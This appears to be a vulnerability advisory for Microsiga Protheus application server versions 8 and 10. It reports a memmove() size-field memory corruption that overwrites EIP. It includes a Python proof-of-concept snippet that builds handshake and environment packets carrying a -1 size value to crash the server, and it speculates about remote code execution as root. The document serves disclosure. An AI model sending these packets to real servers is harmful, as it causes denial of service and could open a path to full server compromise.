[Bug Summary]
- Memory Corruption (likely code execution)

[Impact]
- Medium/High

[Affected Version]
- Microsiga Protheus 8 (20081215030344)
- Microsiga Protheus 10 (20100812040605)
- Other versions can also be affected but weren't tested.

[Bug Description and Proof of Concept]
+ Memory Corruption
Apparently application server uses an user controled value as "size"
parameter to a "memmove()" function, therefore we have control of
number of bytes being moved. If we use a huge value we can lead
application to overwrite EIP and cause a Denial of Service.

We clearly overwrote EIP register, pointing it to a nonsense location.

Here is a snippet of a python exploit:

--- CODE SNIPPET BEGIN ---
if options.target == 8:
      version = "20081215030344"
else:
      version = "20100812040605"

packet_handshake = (
      "%14s"
      "\x00\x01"
      "%36s\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "%32s\x00"
      "%s\x00"
      "\x00\x00\x14\x01"
) % ("A"*14, "B"*36, "C"*32, version)

packet_environ = (
      "\x42\x00\x00\x00\x21\xab\x42\x00\x00\x00"
      "\xff\xff\xff\xff" # Memory Corruption (-1 as size)
#      "\x38\x00\x00\x00" # OK (56 bytes)
      "\x01\x00\x3e\x82\x01\x03\x02\x04\x00\x00"
      "\x00\x00%7s\x00\x00\x00\x00\x00\x00"
      "%11s\x00\x00\x00\x00\x00\x00"
      "\x01\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00"
) % ("D"*7, "E"*11)
--- CODE SNIPPET END ---

* I didn't get deep this flaw, but I believe that it could lead to a
Remote Command Execution (perhaps using a heap-spray) and once
Protheus Application Server runs as super user (root) it means full
server compromised.
